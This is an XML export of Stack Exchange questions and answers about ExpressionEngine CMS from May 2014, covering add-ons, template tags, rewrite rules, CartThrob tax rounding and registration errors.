  <row Id="22167" PostTypeId="2" ParentId="22102" CreationDate="2014-05-22T12:24:14.803" Score="3" Body="&lt;p&gt;If you aren't going to manage the content with EE, you won't be able to search the content with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either move your content to channels as suggested (I've had sites with channels with two fields - title and page content, the latter holding whatever HTML is necessary), or implement a Google Custom Search that will search your rendered pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low has a nice add-on to help with EE-templating the Google results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-googlesearch&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-googlesearch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-05-22T12:24:14.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22168" PostTypeId="2" ParentId="22126" CreationDate="2014-05-22T12:24:57.757" Score="1" Body="&lt;p&gt;Change the stash embed from &#xA;&lt;code&gt;{exp:stash:embed:....&lt;/code&gt; to &lt;code&gt;{stash:embed:...&lt;/code&gt; (remove the &quot;exp&quot;).&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-05-22T12:24:57.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22170" PostTypeId="2" ParentId="22154" CreationDate="2014-05-22T13:56:03.050" Score="1" Body="&lt;p&gt;My guess would be that you're including jQuery twice (once in your standard template, once automatically via Channel Form)? Adding the &lt;code&gt;include_jquery=&quot;no&quot;&lt;/code&gt; parameter would fix it if that is indeed the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html#include-jquery&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html#include-jquery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-05-22T13:56:03.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22171" PostTypeId="1" AcceptedAnswerId="22179" CreationDate="2014-05-22T14:32:48.400" Score="1" ViewCount="290" Body="&lt;p&gt;Does anyone have any thoughts on how best to handle the import of large chunks of body copy that are already formatted with basic html (p tags and br's mostly)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Datagrab can obviously do the heavy lifting of the actual import, but I'm then left with textareas full of compacted, marked up copy that's hard to read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I look to replace all the p tags with newline/carriage returns prior to import and then import them to a field with 'xhtml' formatting (or an RTE field), or is there some other way?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-05-22T16:06:32.177" Title="Importing formatted body copy into EE" Tags="|datagrab|import|rte|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22172" PostTypeId="1" AcceptedAnswerId="22240" CreationDate="2014-05-22T15:00:12.443" Score="0" ViewCount="36" Body="&lt;p&gt;I am new to EE.WE are using cartThrob .Now we have set up 13% sales tax globally. The twist comes now.When a person buys 6 or more items , there should be no tax charged for One region(Eg Ontario) . Is there any way to set this rule in EE backend? Does cartThrob provide this kind of functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3131" LastActivityDate="2014-05-27T23:40:43.823" Title="exclusion of Sales tax" Tags="|cartthrob|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22173" PostTypeId="2" ParentId="22148" CreationDate="2014-05-22T15:12:42.990" Score="2" Body="&lt;p&gt;To create a user account during checkout you can use the register_member='yes' parameter on the exp:store:checkout tag or submit a register_member field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#register_member_yes&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/checkout_tag.html#register_member_yes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2014-05-22T15:12:42.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22174" PostTypeId="1" AcceptedAnswerId="22175" CreationDate="2014-05-22T15:23:11.680" Score="1" ViewCount="136" Body="&lt;p&gt;I checked the EE 2.x Changelog (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/about/changelog.html&lt;/a&gt;) and system reqs (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/requirements.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/installation/requirements.html&lt;/a&gt;), and couldn't find anything. Then I added the &lt;code&gt;include_jquery=&quot;yes&quot;&lt;/code&gt; parameter to a &lt;code&gt;{exp:channel:form}&lt;/code&gt; tag, checked browser source and found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery JavaScript Library v1.7.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I look at JQuery UI, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*!&#xA;* jQuery UI @VERSION&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does &lt;code&gt;@VERSION&lt;/code&gt; refer to? How can I find the version of JQuery?&lt;/p&gt;&#xA;" OwnerUserId="317" LastActivityDate="2014-05-22T15:55:04.150" Title="Which version of JQuery UI does EE 2.8.x ship with?" Tags="|jquery|2.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22175" PostTypeId="2" ParentId="22174" CreationDate="2014-05-22T15:55:04.150" Score="1" Body="&lt;p&gt;That should be right - but you can check the source within the themes folder: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/themes/javascript/compressed/jquery&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-05-22T15:55:04.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22176" PostTypeId="2" ParentId="22106" CreationDate="2014-05-22T15:57:50.890" Score="0" Body="&lt;p&gt;After playing around with this, finally landed on the code that works...and oh so simple in the end. In the first Rewrite rule, just remove the question mark in the (.*?). So here's the full code, in case it'll save someone else some time. Straight from the EE docs, with the slight modification. Just remember to replace &quot;syst&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;   RewriteRule (.*)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA; &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="546" LastActivityDate="2014-05-22T15:57:50.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22177" PostTypeId="2" ParentId="22171" CreationDate="2014-05-22T15:58:42.530" Score="1" Body="&lt;p&gt;One option you could try is to convert the HTML to Markdown format and import that into a MarkItUp or Markdown formatted text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brett Terpstra's online Markdownifier tool (&lt;a href=&quot;http://heckyesmarkdown.com&quot; rel=&quot;nofollow&quot;&gt;http://heckyesmarkdown.com&lt;/a&gt;) can be scripted and Brett has a Ruby script (&lt;a href=&quot;https://gist.github.com/ttscoff/2960951&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/ttscoff/2960951&lt;/a&gt;) that you can use to call it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully used this before by writing a shell script to call Brett's Ruby script to convert a folder full of over 500 HTML files into Markdown and extract the text from them.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2014-05-22T15:58:42.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22178" PostTypeId="1" CreationDate="2014-05-22T16:02:21.420" Score="1" ViewCount="256" Body="&lt;p&gt;I have a new install of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create a page using the Page Module - example.com/index.php/about/referring-to-cpi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See image of URI assignment: &lt;a href=&quot;http://picpaste.com/Screen_Shot_2014-05-23_at_10.08.50-J3YGbqqY.png&quot; rel=&quot;nofollow&quot;&gt;http://picpaste.com/Screen_Shot_2014-05-23_at_10.08.50-J3YGbqqY.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the page shows blank. There is no source. No error message (I have debug switched on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Page Module settings:&#xA;The default channel for the page is &quot;About&quot;.&#xA;I have created a template within the About channel (index.html) assigning this to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do if figure out what is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dan&lt;/p&gt;&#xA;" OwnerUserId="2954" LastEditorUserId="2954" LastEditDate="2014-05-23T09:12:29.273" LastActivityDate="2014-05-23T09:12:29.273" Title="Blank Page in EE" Tags="|pages|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22179" PostTypeId="2" ParentId="22171" CreationDate="2014-05-22T16:06:32.177" Score="3" Body="&lt;p&gt;It really all depends on what field you're ultimately going to import into. If you're importing into an XML-formatted textarea or a Rich Text Editor field, then you'll need to totally remove &lt;em&gt;both&lt;/em&gt; the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tags, because EE adds those tags dynamically when inserting the content into the template, and, as you said, replace them with carriage returns so EE knows where to place the tags. That can be accomplished with a simple Find/Replace query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're importing into a 3rd-party WYSIWYG field like Wygwam or Wyvern, you don't need to make any changes at all. Leave all the tags as-is and they will be parsed the same.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-05-22T16:06:32.177" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22180" PostTypeId="1" AcceptedAnswerId="22524" CreationDate="2014-05-22T17:16:37.037" Score="0" ViewCount="78" Body="&lt;p&gt;I know, this topic or related problems have been covered a lot in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are having problems with {item_subtotal:plus_tax} calculations in the case of having a quantity greater than 1. We are having those problems for a quite some time and I always shyed away from trying to fix it (made a couple of attempts but could never find a way through).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we had an order where the discrepancy between what should be calculated and what has been calculated is 2 cents (Euro). It's not much but the accountant has to make an extra step and the invoice we send the customer just doesn't fit his order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, we are runnning EE 2.7.3, CT 2.5 and I have these settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tab Global:&#xA;Decimal Precision: 2&#xA;Round Decimals to Nearest: .01 (standard)&#xA;&#xA;Tab Taxes:&#xA;Tax plugin: Tax by location - Percentage&#xA;Tax 19% - Country Germany - Tax Shipping: Yes&#xA;&#xA;Tab Shipping:&#xA;Shipping plugin: By Location - Price Threshold&#xA;Location: DEU - Rate: 4.12 - Threshold: 74.78&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generally we enter all prices net (without tax) and let the software do the tax calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order in question contains this product:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; product A&#xA; net price: 22,65&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The cart looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Product A | Quantity 3 | {item_subtotal} = 67,95 | {item_subtotal:plus_tax} = 80,85&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my opinion this is where the problems stem from: the item_subtotal:plus_tax calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob calculates like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;26,95 * 3 = 80,85&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where it should calculate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;22,65 * 3 * tax (in our case 1,19) = 80,86&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe the calculation is done in 2 steps or something because I don't know where or how CT gets the 26,95 from because even if I calculate like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; (22,65 * 1,19) * 3 = 80,86&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure why nobody else has had this problem or if taxes are being calculated differently in other countries or not. For us at least it's wrong and I would like to fix this without hacking the core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still hoping to have somehow overlooked something, so I'd be happy for any head-ups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-06-07T15:00:20.813" Title="Cartthrob: {item_subtotal:plus_tax} rounding problem / CT calculating wrong" Tags="|cartthrob|mightybigrobot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22182" PostTypeId="1" CreationDate="2014-05-22T20:13:38.330" Score="1" ViewCount="97" Body="&lt;p&gt;I think it started about the time I updated to EE 2.8, but I'm not sure. It could have been a Wygwam update too.  In any event, my channel entry form featuring a Wygwam field has stopped working when certain characters are used. Here's one that reliably causes the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;amp; # 3 9 ;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Spaces added because it was converting to the ' character when posted.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I submit the form and it just works and works and works, and eventually just loads a blank white page with no content and the entry isn't added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no problems when adding an entry through the admin, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3132" LastEditorUserId="3132" LastEditDate="2014-05-22T20:45:35.560" LastActivityDate="2014-05-22T20:45:35.560" Title="Wygwam, channel entry form, and HTML character entities" Tags="|wygwam|saef|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22184" PostTypeId="1" CreationDate="2014-05-23T03:26:42.840" Score="2" ViewCount="455" Body="&lt;p&gt;I searched for some Expressioneinge social networking add-on that would allow me to have some &quot;friends&quot; functionality for ExpressEngine at &lt;a href=&quot;http://devot-ee.com/&quot; rel=&quot;nofollow&quot;&gt;devot:ee&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I only found one plugin, &lt;a href=&quot;http://www.solspace.com/docs/friends/&quot; rel=&quot;nofollow&quot;&gt;Friends&lt;/a&gt; that allows me to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just curious. Are there no other Expresssion Engine plugin that has this type of functionality?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-05-26T06:00:09.243" Title="Social Networking Add-on for ExpressionEngine" Tags="|social|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22185" PostTypeId="2" ParentId="22150" CreationDate="2014-05-23T03:32:46.597" Score="1" Body="&lt;p&gt;There is nothing currently in Store that allows you to do something like this. There is currently &lt;a href=&quot;https://exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;Global Product Variations&lt;/a&gt; feature request that would cover exactly what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that if your product modifiers are not adjusting the price, do not require stock levels, or needing separate SKUs (I think those are the only limits) you can create the variations at the template level using text modifiers in your templates.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The input parameter allows you to use custom product modifiers defined&#xA;  in your template, rather than setting them up on a per-product basis.&#xA;  This is useful if you are selling a large number of similar products.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For example, to allow a Small, Medium and Large size option for every&#xA;  product in your store, add the following parameter to the product tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input:size=&quot;Size&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Then, further down the form, you can use standard HTML to submit the&#xA;  modifier along with the rest of the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;size&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;Small&quot;&amp;gt;Small&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;Medium&quot;&amp;gt;Medium&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;Large&quot;&amp;gt;Large&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;These modifiers will behave like any other text modifiers, and display&#xA;  on the checkout and order details pages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#input_custom_modifier_name_name&quot; rel=&quot;nofollow&quot;&gt;Complete Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-05-23T03:32:46.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22186" PostTypeId="2" ParentId="22184" CreationDate="2014-05-23T05:11:14.610" Score="3" Body="&lt;p&gt;If you need some simple function, you can look to &lt;a href=&quot;http://www.intoeetive.com/index.php/comments/buddies-are-now-a-module-add-social-network-features-to-your-site-easily&quot; rel=&quot;nofollow&quot;&gt;Buddies&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This module enables users to have buddies/friends/followers just like&#xA;  in many popular social networks and blogging systems.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The users are able to add/remove others as their buddies. The lists of&#xA;  buddies added by user and also who added him can be displayed. You can&#xA;  also display the total numbers and make various checks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-05-23T05:11:14.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22187" PostTypeId="1" CreationDate="2014-05-23T07:55:05.287" Score="0" ViewCount="334" Body="&lt;p&gt;How do I include the category name in the URL and have that link work? I have a blog channel with a category called 'news'. I need the url to be - www.mysite/news/blog-post-heading. I currently am just shoving the category name in there and I need to know how to build up the link, because if you click on the link it goes to a error page because its trying to use the a template group name and I have no template group called news. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries &#xA;      channel=&quot;blog&quot; &#xA;      orderby=&quot;date&quot; &#xA;      sort=&quot;desc&quot; &#xA;      category_group=&quot;3&quot;&#xA;      limit=&quot;1&quot;}&#xA;&#xA;&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;/{categories}{category_name}{/categories}/{url_title}/&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I make use of segments? &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2018-04-14T19:56:22.297" Title="Adding Category in URL link" Tags="|categories|segments|url-title|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22188" PostTypeId="2" ParentId="22187" CreationDate="2014-05-23T09:01:42.623" Score="0" Body="&lt;p&gt;Just checking I've understood your question correctly. Are you waiting to create a link to your blog page which includes the category AND the url title? So your final url would be www.mysite.com/blog/news/blog-post-heading as opposed to what you've stated above www.mysite.com/news/blog-post-heading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you've rightly pointed out, what you currently have won't work because EE is looking a news template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could clarify what you're trying to achieve, please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a quick help, maybe Zoo Triggers (&lt;a href=&quot;http://ee-zoo.com/add-ons/triggers/&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/add-ons/triggers/&lt;/a&gt;) or Low Search (&lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search&lt;/a&gt;) could help you out?&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-05-23T09:01:42.623" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22190" PostTypeId="2" ParentId="22187" CreationDate="2014-05-23T14:31:31.077" Score="0" Body="&lt;p&gt;Okay so perhaps I was being silly about how I do this and so I'm opting to make a news channel and just adding those posts there. @foamcow is right in sayin categories aren't for navigation. &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2014-05-23T14:31:31.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22191" PostTypeId="2" ParentId="19974" CreationDate="2014-05-23T15:03:00.643" Score="2" Body="&lt;p&gt;I was able to fix the plugin by updating the ext.mx_title_control.php file on line 333 and 338. I replaced the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;element('channel_id', $get)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;element('/cp/content_publish/entry_form?channel_id', $get)&lt;/p&gt;&#xA;" OwnerUserId="3135" LastActivityDate="2014-05-23T15:03:00.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22192" PostTypeId="2" ParentId="22140" CreationDate="2014-05-23T15:15:47.573" Score="0" Body="&lt;p&gt;Are you using the suggested code? &lt;a href=&quot;http://buildwithstructure.com/documentation/safecracker/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation/safecracker/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-05-23T15:15:47.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22193" PostTypeId="1" CreationDate="2014-05-23T17:39:40.233" Score="0" ViewCount="48" Body="&lt;p&gt;Upon registration using Solspace User, I would like to force the submitted username to be equal to first_name|last_name, similar to how the Screen Name is created. Is this possible?  &lt;/p&gt;&#xA;" OwnerUserId="654" LastActivityDate="2016-06-02T22:30:34.793" Title="Solspace User: Registration- force Username to be concatenation of 2 custom member fields" Tags="|solspace-user|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22196" PostTypeId="1" CreationDate="2014-05-23T23:07:09.210" Score="2" ViewCount="52" Body="&lt;p&gt;Is someone using VL File Generator with EE2.8? I've bought it these days, and it's not working (the file is not saved), even with all the correct settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;URL: www.example.com/receitas/receitas_json&#xA;URL relative path: /receitas/receitas_json &#xA;file relative path: /principal/json/receitas.json &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The URL relative path contains this template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;receitas&quot;}&#xA;        {title}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the folder ot the file relative path is set to 777.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new entry is submitted in the channel or updated, no file is generated.&#xA;PHP safe_mode is turned off&#xA;Allow URL Fopen is turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m using EE 2.8.1, and this problem is encountered too in the Wamp local server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem? A compatibility problem with EE 2.8?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there support yet for this extension? I contacted the author, no reply yet...&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="6825" LastEditDate="2015-12-17T02:05:12.543" LastActivityDate="2015-12-17T02:05:12.543" Title="VL File Generator and EE 2.8" Tags="|files|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22197" PostTypeId="1" CreationDate="2014-05-23T23:30:15.243" Score="1" ViewCount="91" Body="&lt;p&gt;I can't work this out and probably just need another set of eyes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Low Variable name lv_book_slider_en which is a Playa field looking up a channel with specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are channel entries assigned to the LV, and the status is open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I call the variable as &lt;code&gt;{lv_book_slider_en}&lt;/code&gt; within my template it spits out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[285] [a-southern-girl-a-small-town-and-the-secret-of-a-good-life] A Southern Girl, a Small Town, and the Secret of a Good Life&#xA;[448] [blue-like-jazz-the-movie] Blue Like Jazz: The Movie&#xA;[4925] [a_call_to_action] A Call to Action&#xA;[5068] [antinomianism] Antinomianism&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_book_slider_en&quot;}&#xA;&#xA;{title}&#xA;                                              {/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just found as I typed this that Transcribe seems to be the problem. If I disable that, I get output as expected. I know Transcribe builds relationships between language entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, right now, Transcribe is a core part of the build so can't really look to move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have insight here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Steven&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-10-23T17:58:41.247" Title="No output on a Playa Low Variable" Tags="|playa|relationships|low-variables|transcribe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22198" PostTypeId="2" ParentId="22197" CreationDate="2014-05-24T08:47:25.943" Score="2" Body="&lt;p&gt;You could try and use the &lt;code&gt;playa:children&lt;/code&gt; tag instead of the Parse tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children var=&quot;lv_book_slider_en&quot;}&#xA;    {title}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-05-24T08:47:25.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22199" PostTypeId="1" CreationDate="2014-05-24T15:15:50.727" Score="1" ViewCount="51" Body="&lt;p&gt;I am using Solspace User for new member registration. I've installed the demo templates and attempting to register a new user. Submission of the registration form throws the following errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Undefined property: stdClass::$csrf_hidden_name  Filename: user/mod.user.php  Line Number: 5955&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is followed by a series of &quot;headers already sent&quot; errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly, the new user is successfully saved to the members table, and can subsequently login successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.7.3 and Solspace User 3.4.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I then regressed back to User 3.4.5, and it works successfully w/ EE 2.7.3&lt;/p&gt;&#xA;" OwnerUserId="654" LastEditorUserId="654" LastEditDate="2014-05-24T15:27:59.983" LastActivityDate="2014-06-26T07:04:37.233" Title="Solspace User 3.4.6 Registration error on dev server - EE 2.7.3" Tags="|solspace|solspace-user|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22200" PostTypeId="2" ParentId="22079" CreationDate="2014-05-24T15:34:06.190" Score="1" Body="&lt;p&gt;It sounds like you have PHP Parsing on the template set to input stage instead of &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/php.html#php-parsing-stage&quot; rel=&quot;nofollow&quot;&gt;output stage&lt;/a&gt;, which would cause the PHP to be parsed before the Channel Entries tag, leaving a literal unparsed &lt;code&gt;{title}&lt;/code&gt;, but I agree with the commenters on your question, you shouldn't need PHP for this.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-24T15:34:06.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
